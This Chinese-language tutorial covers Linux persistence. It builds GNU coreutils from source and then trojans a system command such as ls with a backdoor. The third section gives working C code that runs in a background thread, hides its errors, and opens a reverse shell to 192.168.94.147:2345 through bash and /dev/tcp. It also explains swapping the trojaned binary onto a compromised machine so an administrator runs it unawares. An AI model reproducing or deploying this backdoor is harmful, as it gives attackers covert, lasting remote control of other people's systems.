关键词:权限维持、linux、编译
参考链接:https://www.youtube.com/watch?v=PW6l972X_RA
一、环境准备
1、下载linux命令源码,地址:https://ftp.gnu.org/gnu/coreutils/,版本:coreutils-9.3.tar.gz
2、先用root账户安装gcc和make环境,如果有则跳过,或者尽量找一个自带gcc和make的环境,我用的是CentOS7
3、添加一个普通账户
useradd –home /home/test test -s /bin/bash
4、获取编译环境配置
cd到/home/test目录,并切换至test用户
然后把下载的coreutils-9.3.tar.gz放到该目录并解压
tar zxpf coreutils-9.3.tar.gz
cd进入coreutils-9.3,然后ls可以看到文件configure,直接执行configure拉取配置
./configure
如果没有报以下错误,就说明成功了(这也是为什么要用低权限账号的原因)
you should not run configure as root
二、编译
直接在/home/test/coreutils-9.3目录下执行
sudo make ./install
编译好的文件在/home/test/coreutils-9.3/src目录下,命令的源码文件也在该目录
三、其他操作
可以在命令的源码中加入后门,比如反弹shell,结合其他漏洞写入目标机的命令目录
比如在ls命令中加反弹shell,执行时命令行会被占用或者报错,为了更隐秘,可以禁用命令报错,然后加线程或进程,或者让其后台运行
示例:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
void *threadFunction(void *arg) {
// 打开空设备 /dev/null
int null_fd = open("/dev/null", O_WRONLY);
if (null_fd == -1) {
pthread_exit(NULL);
}
// 将标准错误重定向到空设备
if (dup2(null_fd, 2) == -1) {
close(null_fd);
pthread_exit(NULL);
}
// 关闭文件描述符
close(null_fd);
// 执行命令
system("bash -i >& /dev/tcp/192.168.94.147/2345 0>&1");
pthread_exit(NULL);
}
int main() {
pthread_t thread;
// 创建线程
if (pthread_create(&thread, NULL, threadFunction, NULL) != 0) {
return 1;
}
// 等待线程结束
if (pthread_join(thread, NULL) != 0) {
return 1;
}
return 0;
}
上面代码是用线程反弹shell,将上面的代码插入命令源码的main函数中即可。
但还有一个问题,就是写入的命令没有执行权限,目标机管理员如果执行,会有提示没有执行权限,这种情况可以在拿到目标机权限的情况下,替换命令,并给个执行权限,当权限维持来使用
还有一点要注意,编译好的命令是否能在目标机使用(最好是在目标机同样的系统环境下进行编译)。